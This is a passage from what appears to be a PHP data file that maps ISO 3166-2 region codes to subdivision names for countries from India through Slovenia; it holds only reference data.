            'IN-GJ' => "Gujarāt",
            'IN-HR' => "Haryāna",
            'IN-HP' => "Himāchal Pradesh",
            'IN-JK' => "Jammu and Kashmīr",
            'IN-JH' => "Jharkhand",
            'IN-KA' => "Karnātaka",
            'IN-KL' => "Kerala",
            'IN-LD' => "Lakshadweep",
            'IN-MP' => "Madhya Pradesh",
            'IN-MH' => "Mahārāshtra",
            'IN-MN' => "Manipur",
            'IN-ML' => "Meghālaya",
            'IN-MZ' => "Mizoram",
            'IN-NL' => "Nāgāland",
            'IN-OR' => "Orissa",
            'IN-PY' => "Pondicherry",
            'IN-PB' => "Punjab",
            'IN-RJ' => "Rājasthān",
            'IN-SK' => "Sikkim",
            'IN-TN' => "Tamil Nādu",
            'IN-TR' => "Tripura",
            'IN-UP' => "Uttar Pradesh",
            'IN-UL' => "Uttaranchal",
            'IN-WB' => "West Bengal",
        ],
        "Indonesia"            => [
            'ID-AC' => "Aceh",
            'ID-BA' => "Bali",
            'ID-BB' => "Bangka Belitung",
            'ID-BT' => "Banten",
            'ID-BE' => "Bengkulu",
            'ID-GO' => "Gorontalo",
            'ID-JK' => "Jakarta Raya",
            'ID-JA' => "Jambi",
            'ID-JW' => "Jawa",
            'ID-JB' => "Jawa Barat",
            'ID-JT' => "Jawa Tengah",
            'ID-JI' => "Jawa Timur",
            'ID-KA' => "Kalimantan",
            'ID-KB' => "Kalimantan Barat",
            'ID-KS' => "Kalimantan Selatan",
            'ID-KT' => "Kalimantan Tengah",
            'ID-KI' => "Kalimantan Timur",
            'ID-KR' => "Kepulauan Riau",
            'ID-LA' => "Lampung",
            'ID-MA' => "Maluku",
            'ID-MU' => "Maluku Utara",
            'ID-NU' => "Nusa Tenggara",
            'ID-NB' => "Nusa Tenggara Barat",
            'ID-NT' => "Nusa Tenggara Timur",
            'ID-PA' => "Papua",
            'ID-PB' => "Papua Barat",
            'ID-RI' => "Riau",
            'ID-SL' => "Sulawesi",
            'ID-SR' => "Sulawesi Barat",
            'ID-SN' => "Sulawesi Selatan",
            'ID-ST' => "Sulawesi Tengah",
            'ID-SG' => "Sulawesi Tenggara",
            'ID-SA' => "Sulawesi Utara",
            'ID-SM' => "Sumatera",
            'ID-SU' => "Sumatera Utara",
            'ID-SB' => "Sumatra Barat",
            'ID-SS' => "Sumatra Selatan",
            'ID-YO' => "Yogyakarta",
        ],
        "Ireland"              => [
            'IE-CW' => "Carlow",
            'IE-CN' => "Cavan",
            'IE-CE' => "Clare",
            'IE-C'  => "Connacht",
            'IE-CO' => "Cork",
            'IE-DL' => "Donegal",
            'IE-D'  => "Dublin",
            'IE-G'  => "Galway",
            'IE-KY' => "Kerry",
            'IE-KE' => "Kildare",
            'IE-KK' => "Kilkenny",
            'IE-LS' => "Laois",
            'IE-L'  => "Leinster",
            'IE-LM' => "Leitrim",
            'IE-LK' => "Limerick",
            'IE-LD' => "Longford",
            'IE-LH' => "Louth",
            'IE-MO' => "Mayo",
            'IE-MH' => "Meath",
            'IE-MN' => "Monaghan",
            'IE-M'  => "Munster",
            'IE-OY' => "Offaly",
            'IE-RN' => "Roscommon",
            'IE-SO' => "Sligo",
            'IE-TA' => "Tipperary",
            'IE-U'  => "Ulster",
            'IE-WD' => "Waterford",
            'IE-WH' => "Westmeath",
            'IE-WX' => "Wexford",
            'IE-WW' => "Wicklow",
        ],
        "Israel"               => [
            'IL-D'  => "HaDarom",
            'IL-M'  => "HaMerkaz",
            'IL-Z'  => "HaZafon",
            'IL-HA' => "Hefa",
            'IL-TA' => "Tel-Aviv",
            'IL-JM' => "Yerushalayim Al Quds",
        ],
        "Italy"                => [
            'IT-65' => "Abruzzo",
            'IT-AG' => "Agrigento",
            'IT-AL' => "Alessandria",
            'IT-AN' => "Ancona",
            'IT-AO' => "Aosta",
            'IT-AR' => "Arezzo",
            'IT-AP' => "Ascoli Piceno",
            'IT-AT' => "Asti",
            'IT-AV' => "Avellino",
            'IT-BA' => "Bari",
            'IT-BT' => "Barletta-Andria-Trani",
            'IT-77' => "Basilicata",
            'IT-BL' => "Belluno",
            'IT-BN' => "Benevento",
            'IT-BG' => "Bergamo",
            'IT-BI' => "Biella",
            'IT-BO' => "Bologna",
            'IT-BZ' => "Bolzano",
            'IT-BS' => "Brescia",
            'IT-BR' => "Brindisi",
            'IT-CA' => "Cagliari",
            'IT-78' => "Calabria",
            'IT-CL' => "Caltanissetta",
            'IT-72' => "Campania",
            'IT-CB' => "Campobasso",
            'IT-CI' => "Carbonia-Iglesias",
            'IT-CE' => "Caserta",
            'IT-CT' => "Catania",
            'IT-CZ' => "Catanzaro",
            'IT-CH' => "Chieti",
            'IT-CO' => "Como",
            'IT-CS' => "Cosenza",
            'IT-CR' => "Cremona",
            'IT-KR' => "Crotone",
            'IT-CN' => "Cuneo",
            'IT-45' => "Emilia-Romagna",
            'IT-EN' => "Enna",
            'IT-FM' => "Fermo",
            'IT-FE' => "Ferrara",
            'IT-FI' => "Firenze",
            'IT-FG' => "Foggia",
            'IT-FC' => "Forlì-Cesena",
            'IT-36' => "Friuli-Venezia Giulia",
            'IT-FR' => "Frosinone",
            'IT-GE' => "Genova",
            'IT-GO' => "Gorizia",
            'IT-GR' => "Grosseto",
            'IT-IM' => "Imperia",
            'IT-IS' => "Isernia",
            'IT-AQ' => "L'Aquila",
            'IT-SP' => "La Spezia",
            'IT-LT' => "Latina",
            'IT-62' => "Lazio",
            'IT-LE' => "Lecce",
            'IT-LC' => "Lecco",
            'IT-42' => "Liguria",
            'IT-LI' => "Livorno",
            'IT-LO' => "Lodi",
            'IT-25' => "Lombardia",
            'IT-LU' => "Lucca",
            'IT-MC' => "Macerata",
            'IT-MN' => "Mantova",
            'IT-57' => "Marche",
            'IT-MS' => "Massa-Carrara",
            'IT-MT' => "Matera",
            'IT-VS' => "Medio Campidano",
            'IT-ME' => "Messina",
            'IT-MI' => "Milano",
            'IT-MO' => "Modena",
            'IT-67' => "Molise",
            'IT-MB' => "Monza e Brianza",
            'IT-NA' => "Napoli",
            'IT-NO' => "Novara",
            'IT-NU' => "Nuoro",
            'IT-OG' => "Ogliastra",
            'IT-OT' => "Olbia-Tempio",
            'IT-OR' => "Oristano",
            'IT-PD' => "Padova",
            'IT-PA' => "Palermo",
            'IT-PR' => "Parma",
            'IT-PV' => "Pavia",
            'IT-PG' => "Perugia",
            'IT-PU' => "Pesaro e Urbino",
            'IT-PE' => "Pescara",
            'IT-PC' => "Piacenza",
            'IT-21' => "Piemonte",
            'IT-PI' => "Pisa",
            'IT-PT' => "Pistoia",
            'IT-PN' => "Pordenone",
            'IT-PZ' => "Potenza",
            'IT-PO' => "Prato",
            'IT-75' => "Puglia",
            'IT-RG' => "Ragusa",
            'IT-RA' => "Ravenna",
            'IT-RC' => "Reggio Calabria",
            'IT-RE' => "Reggio Emilia",
            'IT-RI' => "Rieti",
            'IT-RN' => "Rimini",
            'IT-RM' => "Roma",
            'IT-RO' => "Rovigo",
            'IT-SA' => "Salerno",
            'IT-88' => "Sardegna",
            'IT-SS' => "Sassari",
            'IT-SV' => "Savona",
            'IT-82' => "Sicilia",
            'IT-SI' => "Siena",
            'IT-SR' => "Siracusa",
            'IT-SO' => "Sondrio",
            'IT-TA' => "Taranto",
            'IT-TE' => "Teramo",
            'IT-TR' => "Terni",
            'IT-TO' => "Torino",
            'IT-52' => "Toscana",
            'IT-TP' => "Trapani",
            'IT-32' => "Trentino-Alto Adige",
            'IT-TN' => "Trento",
            'IT-TV' => "Treviso",
            'IT-TS' => "Trieste",
            'IT-UD' => "Udine",
            'IT-55' => "Umbria",
            'IT-23' => "Valle d'Aosta",
            'IT-VA' => "Varese",
            'IT-34' => "Veneto",
            'IT-VE' => "Venezia",
            'IT-VB' => "Verbano-Cusio-Ossola",
            'IT-VC' => "Vercelli",
            'IT-VR' => "Verona",
            'IT-VV' => "Vibo Valentia",
            'IT-VI' => "Vicenza",
            'IT-VT' => "Viterbo",
        ],
        "Japan"                => [
            'JP-23' => "Aichi",
            'JP-05' => "Akita",
            'JP-02' => "Aomori",
            'JP-12' => "Chiba",
            'JP-38' => "Ehime",
            'JP-18' => "Fukui",
            'JP-40' => "Fukuoka",
            'JP-07' => "Fukushima",
            'JP-21' => "Gifu",
            'JP-10' => "Gunma",
            'JP-34' => "Hiroshima",
            'JP-01' => "Hokkaido",
            'JP-28' => "Hyogo",
            'JP-08' => "Ibaraki",
            'JP-17' => "Ishikawa",
            'JP-03' => "Iwate",
            'JP-37' => "Kagawa",
            'JP-46' => "Kagoshima",
            'JP-14' => "Kanagawa",
            'JP-39' => "Kochi",
            'JP-43' => "Kumamoto",
            'JP-26' => "Kyoto",
            'JP-24' => "Mie",
            'JP-04' => "Miyagi",
            'JP-45' => "Miyazaki",
            'JP-20' => "Nagano",
            'JP-42' => "Nagasaki",
            'JP-29' => "Nara",
            'JP-15' => "Niigata",
            'JP-44' => "Oita",
            'JP-33' => "Okayama",
            'JP-47' => "Okinawa",
            'JP-27' => "Osaka",
            'JP-41' => "Saga",
            'JP-11' => "Saitama",
            'JP-25' => "Shiga",
            'JP-32' => "Shimane",
            'JP-22' => "Shizuoka",
            'JP-09' => "Tochigi",
            'JP-36' => "Tokushima",
            'JP-13' => "Tokyo",
            'JP-31' => "Tottori",
            'JP-16' => "Toyama",
            'JP-30' => "Wakayama",
            'JP-06' => "Yamagata",
            'JP-35' => "Yamaguchi",
            'JP-19' => "Yamanashi",
        ],
        "Mexico"               => [
            'MX-AGU' => "Aguascalientes",
            'MX-BCN' => "Baja California",
            'MX-BCS' => "Baja California Sur",
            'MX-CAM' => "Campeche",
            'MX-CHP' => "Chiapas",
            'MX-CHH' => "Chihuahua",
            'MX-COA' => "Coahuila",
            'MX-COL' => "Colima",
            'MX-DIF' => "Distrito Federal (Mexico City)",
            'MX-DUR' => "Durango",
            'MX-GUA' => "Guanajuato",
            'MX-GRO' => "Guerrero",
            'MX-HID' => "Hidalgo",
            'MX-JAL' => "Jalisco",
            'MX-MIC' => "Michoacán",
            'MX-MOR' => "Morelos",
            'MX-MEX' => "México",
            'MX-NAY' => "Nayarit",
            'MX-NLE' => "Nuevo León",
            'MX-OAX' => "Oaxaca",
            'MX-PUE' => "Puebla",
            'MX-QUE' => "Querétaro",
            'MX-ROO' => "Quintana Roo",
            'MX-SLP' => "San Luis Potosí",
            'MX-SIN' => "Sinaloa",
            'MX-SON' => "Sonora",
            'MX-TAB' => "Tabasco",
            'MX-TAM' => "Tamaulipas",
            'MX-TLA' => "Tlaxcala",
            'MX-VER' => "Veracruz",
            'MX-YUC' => "Yucatán",
            'MX-ZAC' => "Zacatecas",
        ],
        "Morocco"              => [
            'MA-AGD' => "Agadir-Ida-Outanane",
            'MA-HAO' => "Al Haouz",
            'MA-HOC' => "Al Hoceïma",
            'MA-AOU' => "Aousserd",
            'MA-ASZ' => "Assa-Zag",
            'MA-AZI' => "Azilal",
            'MA-BES' => "Ben Slimane",
            'MA-BEM' => "Beni Mellal",
            'MA-BER' => "Berkane",
            'MA-BOD' => "Boujdour (EH)",
            'MA-BOM' => "Boulemane",
            'MA-CAS' => "Casablanca [Dar el Beïda]",
            'MA-09'  => "Chaouia-Ouardigha",
            'MA-CHE' => "Chefchaouen",
            'MA-CHI' => "Chichaoua",
            'MA-CHT' => "Chtouka-Ait Baha",
            'MA-10'  => "Doukhala-Abda",
            'MA-HAJ' => "El Hajeb",
            'MA-JDI' => "El Jadida",
            'MA-ERR' => "Errachidia",
            'MA-ESM' => "Es Smara (EH)",
            'MA-ESI' => "Essaouira",
            'MA-FAH' => "Fahs-Beni Makada",
            'MA-FIG' => "Figuig",
            'MA-05'  => "Fès-Boulemane",
            'MA-FES' => "Fès-Dar-Dbibegh",
            'MA-02'  => "Gharb-Chrarda-Beni Hssen",
            'MA-08'  => "Grand Casablanca",
            'MA-GUE' => "Guelmim",
            'MA-14'  => "Guelmim-Es Smara",
            'MA-IFR' => "Ifrane",
            'MA-INE' => "Inezgane-Ait Melloul",
            'MA-JRA' => "Jrada",
            'MA-KES' => "Kelaat es Sraghna",
            'MA-KHE' => "Khemisaet",
            'MA-KHN' => "Khenifra",
            'MA-KHO' => "Khouribga",
            'MA-KEN' => "Kénitra",
            'MA-04'  => "L'Oriental",
            'MA-LAR' => "Larache",
            'MA-LAA' => "Laâyoune (EH)",
            'MA-15'  => "Laâyoune-Boujdour-Sakia el Hamra",
            'MA-MMD' => "Marrakech-Medina",
            'MA-MMN' => "Marrakech-Menara",
            'MA-11'  => "Marrakech-Tensift-Al Haouz",
            'MA-MEK' => "Meknès",
            'MA-06'  => "Meknès-Tafilalet",
            'MA-MOH' => "Mohammadia",
            'MA-MOU' => "Moulay Yacoub",
            'MA-MED' => "Médiouna",
            'MA-NAD' => "Nador",
            'MA-NOU' => "Nouaceur",
            'MA-OUA' => "Ouarzazate",
            'MA-OUD' => "Oued ed Dahab (EH)",
            'MA-16'  => "Oued ed Dahab-Lagouira",
            'MA-OUJ' => "Oujda-Angad",
            'MA-RAB' => "Rabat",
            'MA-07'  => "Rabat-Salé-Zemmour-Zaer",
            'MA-SAF' => "Safi",
            'MA-SAL' => "Salé",
            'MA-SEF' => "Sefrou",
            'MA-SET' => "Settat",
            'MA-SYB' => "Sidi Youssef Ben Ali",
            'MA-SIK' => "Sidl Kacem",
            'MA-SKH' => "Skhirate-Témara",
            'MA-13'  => "Sous-Massa-Draa",
            'MA-12'  => "Tadla-Azilal",
            'MA-TNT' => "Tan-Tan",
            'MA-TNG' => "Tanger-Assilah",
            'MA-01'  => "Tanger-Tétouan",
            'MA-TAO' => "Taounate",
            'MA-TAI' => "Taourirt",
            'MA-TAR' => "Taroudant",
            'MA-TAT' => "Tata",
            'MA-TAZ' => "Taza",
            'MA-03'  => "Taza-Al Hoceima-Taounate",
            'MA-TIZ' => "Tiznit",
            'MA-TET' => "Tétouan",
            'MA-ZAG' => "Zagora",
        ],
        "Netherlands"          => [
            'NL-DR' => "Drenthe",
            'NL-FL' => "Flevoland",
            'NL-FR' => "Friesland",
            'NL-GE' => "Gelderland",
            'NL-GR' => "Groningen",
            'NL-LI' => "Limburg",
            'NL-NB' => "Noord-Brabant",
            'NL-NH' => "Noord-Holland",
            'NL-OV' => "Overijssel",
            'NL-UT' => "Utrecht",
            'NL-ZE' => "Zeeland",
            'NL-ZH' => "Zuid-Holland",
        ],
        "Nigeria"              => [
            'NG-AB' => "Abia",
            'NG-FC' => "Abuja Capital Territory",
            'NG-AD' => "Adamawa",
            'NG-AK' => "Akwa Ibom",
            'NG-AN' => "Anambra",
            'NG-BA' => "Bauchi",
            'NG-BY' => "Bayelsa",
            'NG-BE' => "Benue",
            'NG-BO' => "Borno",
            'NG-CR' => "Cross River",
            'NG-DE' => "Delta",
            'NG-EB' => "Ebonyi",
            'NG-ED' => "Edo",
            'NG-EK' => "Ekiti",
            'NG-EN' => "Enugu",
            'NG-GO' => "Gombe",
            'NG-IM' => "Imo",
            'NG-JI' => "Jigawa",
            'NG-KD' => "Kaduna",
            'NG-KN' => "Kano",
            'NG-KT' => "Katsina",
            'NG-KE' => "Kebbi",
            'NG-KO' => "Kogi",
            'NG-KW' => "Kwara",
            'NG-LA' => "Lagos",
            'NG-NA' => "Nassarawa",
            'NG-NI' => "Niger, Níger",
            'NG-OG' => "Ogun",
            'NG-ON' => "Ondo",
            'NG-OS' => "Osun",
            'NG-OY' => "Oyo",
            'NG-PL' => "Plateau",
            'NG-RI' => "Rivers",
            'NG-SO' => "Sokoto",
            'NG-TA' => "Taraba",
            'NG-YO' => "Yobe",
            'NG-ZA' => "Zamfara",
        ],
        "Norway"               => [
            'NO-02' => "Akershus",
            'NO-09' => "Aust-Agder",
            'NO-06' => "Buskerud",
            'NO-20' => "Finnmark",
            'NO-04' => "Hedmark",
            'NO-12' => "Hordaland",
            'NO-22' => "Jan Mayen",
            'NO-15' => "Møre og Romsdal",
            'NO-17' => "Nord-Trøndelag",
            'NO-18' => "Nordland",
            'NO-05' => "Oppland",
            'NO-03' => "Oslo",
            'NO-11' => "Rogaland",
            'NO-14' => "Sogn og Fjordane",
            'NO-21' => "Svalbard",
            'NO-16' => "Sør-Trøndelag",
            'NO-08' => "Telemark",
            'NO-19' => "Troms",
            'NO-10' => "Vest-Agder",
            'NO-07' => "Vestfold",
            'NO-01' => "Østfold",
        ],
        "Philippines"          => [
            'PH-ABR' => "Abra",
            'PH-AGN' => "Agusan del Norte",
            'PH-AGS' => "Agusan del Sur",
            'PH-AKL' => "Aklan",
            'PH-ALB' => "Albay",
            'PH-ANT' => "Antique",
            'PH-APA' => "Apayao",
            'PH-AUR' => "Aurora",
            'PH-14'  => "Autonomous Region in Muslim Mindanao (ARMM)",
            'PH-BAS' => "Basilan",
            'PH-BTN' => "Batanes",
            'PH-BTG' => "Batangas",
            'PH-BAN' => "Batasn",
            'PH-BEN' => "Benguet",
            'PH-05'  => "Bicol (Region V)",
            'PH-BIL' => "Biliran",
            'PH-BOH' => "Bohol",
            'PH-BUK' => "Bukidnon",
            'PH-BUL' => "Bulacan",
            'PH-40'  => "CALABARZON (Region IV-A)",
            'PH-CAG' => "Cagayan",
            'PH-02'  => "Cagayan Valley (Region II)",
            'PH-CAN' => "Camarines Norte",
            'PH-CAS' => "Camarines Sur",
            'PH-CAM' => "Camiguin",
            'PH-CAP' => "Capiz",
            'PH-13'  => "Caraga (Region XIII)",
            'PH-CAT' => "Catanduanes",
            'PH-CAV' => "Cavite",
            'PH-CEB' => "Cebu",
            'PH-03'  => "Central Luzon (Region III)",
            'PH-07'  => "Central Visayas (Region VII)",
            'PH-COM' => "Compostela Valley",
            'PH-15'  => "Cordillera Administrative Region (CAR)",
            'PH-11'  => "Davao (Region XI)",
            'PH-DAO' => "Davao Oriental",
            'PH-DAV' => "Davao del Norte",
            'PH-DAS' => "Davao del Sur",
            'PH-DIN' => "Dinagat Islands",
            'PH-EAS' => "Eastern Samar",
            'PH-08'  => "Eastern Visayas (Region VIII)",
            'PH-GUI' => "Guimaras",
            'PH-IFU' => "Ifugao",
            'PH-01'  => "Ilocos (Region I)",
            'PH-ILN' => "Ilocos Norte",
            'PH-ILS' => "Ilocos Sur",
            'PH-ILI' => "Iloilo",
            'PH-ISA' => "Isabela",
            'PH-KAL' => "Kalinga-Apayso",
            'PH-LUN' => "La Union",
            'PH-LAG' => "Laguna",
            'PH-LAN' => "Lanao del Norte",
            'PH-LAS' => "Lanao del Sur",
            'PH-LEY' => "Leyte",
            'PH-41'  => "MIMAROPA (Region IV-B)",
            'PH-MAG' => "Maguindanao",
            'PH-MAD' => "Marinduque",
            'PH-MAS' => "Masbate",
            'PH-MDC' => "Mindoro Occidental",
            'PH-MDR' => "Mindoro Oriental",
            'PH-MSC' => "Misamis Occidental",
            'PH-MSR' => "Misamis Oriental",
            'PH-MOU' => "Mountain Province",
            'PH-00'  => "National Capital Region",
            'PH-NEC' => "Negroe Occidental",
            'PH-NER' => "Negros Oriental",
            'PH-NCO' => "North Cotabato",
            'PH-10'  => "Northern Mindanao (Region X)",
            'PH-NSA' => "Northern Samar",
            'PH-NUE' => "Nueva Ecija",
            'PH-NUV' => "Nueva Vizcaya",
            'PH-PLW' => "Palawan",
            'PH-PAM' => "Pampanga",
            'PH-PAN' => "Pangasinan",
            'PH-QUE' => "Quezon",
            'PH-QUI' => "Quirino",
            'PH-RIZ' => "Rizal",
            'PH-ROM' => "Romblon",
            'PH-SAR' => "Sarangani",
            'PH-SIG' => "Siquijor",
            'PH-12'  => "Soccsksargen (Region XII)",
            'PH-SOR' => "Sorsogon",
            'PH-SCO' => "South Cotabato",
            'PH-SLE' => "Southern Leyte",
            'PH-SUK' => "Sultan Kudarat",
            'PH-SLU' => "Sulu",
            'PH-SUN' => "Surigao del Norte",
            'PH-SUR' => "Surigao del Sur",
            'PH-TAR' => "Tarlac",
            'PH-TAW' => "Tawi-Tawi",
            'PH-WSA' => "Western Samar",
            'PH-06'  => "Western Visayas (Region VI)",
            'PH-ZMB' => "Zambales",
            'PH-09'  => "Zamboanga Peninsula (Region IX)",
            'PH-ZSI' => "Zamboanga Sibugay",
            'PH-ZAN' => "Zamboanga del Norte",
            'PH-ZAS' => "Zamboanga del Sur",
        ],
        "Poland"               => [
            'PL-DS' => "Dolnośląskie",
            'PL-KP' => "Kujawsko-pomorskie",
            'PL-LU' => "Lubelskie",
            'PL-LB' => "Lubuskie",
            'PL-MZ' => "Mazowieckie",
            'PL-MA' => "Małopolskie",
            'PL-OP' => "Opolskie",
            'PL-PK' => "Podkarpackie",
            'PL-PD' => "Podlaskie",
            'PL-PM' => "Pomorskie",
            'PL-WN' => "Warmińsko-mazurskie",
            'PL-WP' => "Wielkopolskie",
            'PL-ZP' => "Zachodniopomorskie",
            'PL-LD' => "Łódzkie",
            'PL-SL' => "Śląskie",
            'PL-SK' => "Świętokrzyskie",
        ],
        "Portugal"             => [
            'PT-01' => "Aveiro",
            'PT-02' => "Beja",
            'PT-03' => "Braga",
            'PT-04' => "Bragança",
            'PT-05' => "Castelo Branco",
            'PT-06' => "Coimbra",
            'PT-08' => "Faro",
            'PT-09' => "Guarda",
            'PT-10' => "Leiria",
            'PT-11' => "Lisboa",
            'PT-12' => "Portalegre",
            'PT-13' => "Porto",
            'PT-30' => "Região Autónoma da Madeira",
            'PT-20' => "Região Autónoma dos Açores",
            'PT-14' => "Santarém",
            'PT-15' => "Setúbal",
            'PT-16' => "Viana do Castelo",
            'PT-17' => "Vila Real",
            'PT-18' => "Viseu",
            'PT-07' => "Évora",
        ],
        "Romania"              => [
            'RO-AB' => "Alba",
            'RO-AR' => "Arad",
            'RO-AG' => "Argeș",
            'RO-BC' => "Bacău",
            'RO-BH' => "Bihor",
            'RO-BN' => "Bistrița-Năsăud",
            'RO-BT' => "Botoșani",
            'RO-BV' => "Brașov",
            'RO-BR' => "Brăila",
            'RO-B'  => "București",
            'RO-BZ' => "Buzău",
            'RO-CS' => "Caraș-Severin",
            'RO-CJ' => "Cluj",
            'RO-CT' => "Constanța",
            'RO-CV' => "Covasna",
            'RO-CL' => "Călărași",
            'RO-DJ' => "Dolj",
            'RO-DB' => "Dâmbovița",
            'RO-GL' => "Galați",
            'RO-GR' => "Giurgiu",
            'RO-GJ' => "Gorj",
            'RO-HR' => "Harghita",
            'RO-HD' => "Hunedoara",
            'RO-IL' => "Ialomița",
            'RO-IS' => "Iași",
            'RO-IF' => "Ilfov",
            'RO-MM' => "Maramureș",
            'RO-MH' => "Mehedinți",
            'RO-MS' => "Mureș",
            'RO-NT' => "Neamț",
            'RO-OT' => "Olt",
            'RO-PH' => "Prahova",
            'RO-SM' => "Satu Mare",
            'RO-SB' => "Sibiu",
            'RO-SV' => "Suceava",
            'RO-SJ' => "Sălaj",
            'RO-TR' => "Teleorman",
            'RO-TM' => "Timiș",
            'RO-TL' => "Tulcea",
            'RO-VS' => "Vaslui",
            'RO-VN' => "Vrancea",
            'RO-VL' => "Vâlcea",
        ],
        "Russian Federation"   => [
            'RU-AD'  => "Adygeya, Respublika",
            'RU-AL'  => "Altay, Respublika",
            'RU-ALT' => "Altayskiy kray",
            'RU-AMU' => "Amurskaya oblast'",
            'RU-ARK' => "Arkhangel'skaya oblast'",
            'RU-AST' => "Astrakhanskaya oblast'",
            'RU-BA'  => "Bashkortostan, Respublika",
            'RU-BEL' => "Belgorodskaya oblast'",
            'RU-BRY' => "Bryanskaya oblast'",
            'RU-BU'  => "Buryatiya, Respublika",
            'RU-CE'  => "Chechenskaya Respublika",
            'RU-CHE' => "Chelyabinskaya oblast'",
            'RU-CHU' => "Chukotskiy avtonomnyy okrug",
            'RU-CU'  => "Chuvashskaya Respublika",
            'RU-DA'  => "Dagestan, Respublika",
            'RU-IRK' => "Irkutiskaya oblast'",
            'RU-IVA' => "Ivanovskaya oblast'",
            'RU-KB'  => "Kabardino-Balkarskaya Respublika",
            'RU-KGD' => "Kaliningradskaya oblast'",
            'RU-KL'  => "Kalmykiya, Respublika",
            'RU-KLU' => "Kaluzhskaya oblast'",
            'RU-KAM' => "Kamchatskiy kray",
            'RU-KC'  => "Karachayevo-Cherkesskaya Respublika",
            'RU-KR'  => "Kareliya, Respublika",
            'RU-KEM' => "Kemerovskaya oblast'",
            'RU-KHA' => "Khabarovskiy kray",
            'RU-KK'  => "Khakasiya, Respublika",
            'RU-KHM' => "Khanty-Mansiysky avtonomnyy okrug-Yugra",
            'RU-KIR' => "Kirovskaya oblast'",
            'RU-KO'  => "Komi, Respublika",
            'RU-KOS' => "Kostromskaya oblast'",
            'RU-KDA' => "Krasnodarskiy kray",
            'RU-KYA' => "Krasnoyarskiy kray",
            'RU-KGN' => "Kurganskaya oblast'",
            'RU-KRS' => "Kurskaya oblast'",
            'RU-LEN' => "Leningradskaya oblast'",
            'RU-LIP' => "Lipetskaya oblast'",
            'RU-MAG' => "Magadanskaya oblast'",
            'RU-ME'  => "Mariy El, Respublika",
            'RU-MO'  => "Mordoviya, Respublika",
            'RU-MOS' => "Moskovskaya oblast'",
            'RU-MOW' => "Moskva",
            'RU-MUR' => "Murmanskaya oblast'",
            'RU-NEN' => "Nenetskiy avtonomnyy okrug",
            'RU-NIZ' => "Nizhegorodskaya oblast'",
            'RU-NGR' => "Novgorodskaya oblast'",
            'RU-NVS' => "Novosibirskaya oblast'",
            'RU-OMS' => "Omskaya oblast'",
            'RU-ORE' => "Orenburgskaya oblast'",
            'RU-ORL' => "Orlovskaya oblast'",
            'RU-PNZ' => "Penzenskaya oblast'",
            'RU-PER' => "Permskiy kray",
            'RU-PRI' => "Primorskiy kray",
            'RU-PSK' => "Pskovskaya oblast'",
            'RU-IN'  => "Respublika Ingushetiya",
            'RU-ROS' => "Rostovskaya oblast'",
            'RU-RYA' => "Ryazanskaya oblast'",
            'RU-SA'  => "Sakha, Respublika [Yakutiya]",
            'RU-SAK' => "Sakhalinskaya oblast'",
            'RU-SAM' => "Samaraskaya oblast'",
            'RU-SPE' => "Sankt-Peterburg",
            'RU-SAR' => "Saratovskaya oblast'",
            'RU-SE'  => "Severnaya Osetiya-Alaniya, Respublika",
            'RU-SMO' => "Smolenskaya oblast'",
            'RU-STA' => "Stavropol'skiy kray",
            'RU-SVE' => "Sverdlovskaya oblast'",
            'RU-TAM' => "Tambovskaya oblast'",
            'RU-TA'  => "Tatarstan, Respublika",
            'RU-TOM' => "Tomskaya oblast'",
            'RU-TUL' => "Tul'skaya oblast'",
            'RU-TVE' => "Tverskaya oblast'",
            'RU-TYU' => "Tyumenskaya oblast'",
            'RU-TY'  => "Tyva, Respublika [Tuva]",
            'RU-UD'  => "Udmurtskaya Respublika",
            'RU-ULY' => "Ul'yanovskaya oblast'",
            'RU-VLA' => "Vladimirskaya oblast'",
            'RU-VGG' => "Volgogradskaya oblast'",
            'RU-VLG' => "Vologodskaya oblast'",
            'RU-VOR' => "Voronezhskaya oblast'",
            'RU-YAN' => "Yamalo-Nenetskiy avtonomnyy okrug",
            'RU-YAR' => "Yaroslavskaya oblast'",
            'RU-YEV' => "Yevreyskaya avtonomnaya oblast'",
            'RU-ZAB' => "Zabajkal'skij kraj",
        ],
        "Slovakia"             => [
            'SK-BC' => "Banskobystrický kraj",
            'SK-BL' => "Bratislavský kraj",
            'SK-KI' => "Košický kraj",
            'SK-NI' => "Nitriansky kraj",
            'SK-PV' => "Prešovský kraj",
            'SK-TC' => "Trenčiansky kraj",
            'SK-TA' => "Trnavský kraj",
            'SK-ZI' => "Žilinský kraj",
        ],
        "Slovenia"             => [
            'SI-001' => "Ajdovščina",
            'SI-195' => "Apače",
            'SI-002' => "Beltinci",
            'SI-148' => "Benedikt",
            'SI-149' => "Bistrica ob Sotli",
            'SI-003' => "Bled",
            'SI-150' => "Bloke",
            'SI-004' => "Bohinj",
            'SI-005' => "Borovnica",
            'SI-006' => "Bovec",
            'SI-151' => "Braslovče",
            'SI-007' => "Brda",
            'SI-008' => "Brezovica",
            'SI-009' => "Brežice",
            'SI-152' => "Cankova",
            'SI-011' => "Celje",
            'SI-012' => "Cerklje na Gorenjskem",
            'SI-013' => "Cerknica",
            'SI-014' => "Cerkno",
            'SI-153' => "Cerkvenjak",
            'SI-196' => "Cirkulane",
            'SI-018' => "Destrnik",
            'SI-019' => "Divača",
            'SI-154' => "Dobje",
            'SI-020' => "Dobrepolje",
            'SI-155' => "Dobrna",
            'SI-021' => "Dobrova-Polhov Gradec",
            'SI-156' => "Dobrovnik/Dobronak",
            'SI-022' => "Dol pri Ljubljani",
            'SI-157' => "Dolenjske Toplice",
            'SI-023' => "Domžale",
            'SI-024' => "Dornava",
            'SI-025' => "Dravograd",
            'SI-026' => "Duplek",
            'SI-027' => "Gorenja vas-Poljane",
            'SI-028' => "Gorišnica",
            'SI-207' => "Gorje",
            'SI-029' => "Gornja Radgona",
            'SI-030' => "Gornji Grad",
            'SI-031' => "Gornji Petrovci",
            'SI-158' => "Grad",
            'SI-032' => "Grosuplje",
            'SI-159' => "Hajdina",
            'SI-161' => "Hodoš/Hodos",
            'SI-162' => "Horjul",
            'SI-160' => "Hoče-Slivnica",
            'SI-034' => "Hrastnik",
            'SI-035' => "Hrpelje-Kozina",
            'SI-036' => "Idrija",
            'SI-037' => "Ig",
            'SI-038' => "Ilirska Bistrica",
            'SI-039' => "Ivančna Gorica",
            'SI-040' => "Izola/Isola",
            'SI-041' => "Jesenice",
            'SI-163' => "Jezersko",
            'SI-042' => "Juršinci",
            'SI-043' => "Kamnik",
            'SI-044' => "Kanal",
            'SI-045' => "Kidričevo",
            'SI-046' => "Kobarid",
            'SI-047' => "Kobilje",
            'SI-049' => "Komen",
            'SI-164' => "Komenda",
            'SI-050' => "Koper/Capodistria",
            'SI-197' => "Kosanjevica na Krki",
            'SI-165' => "Kostel",
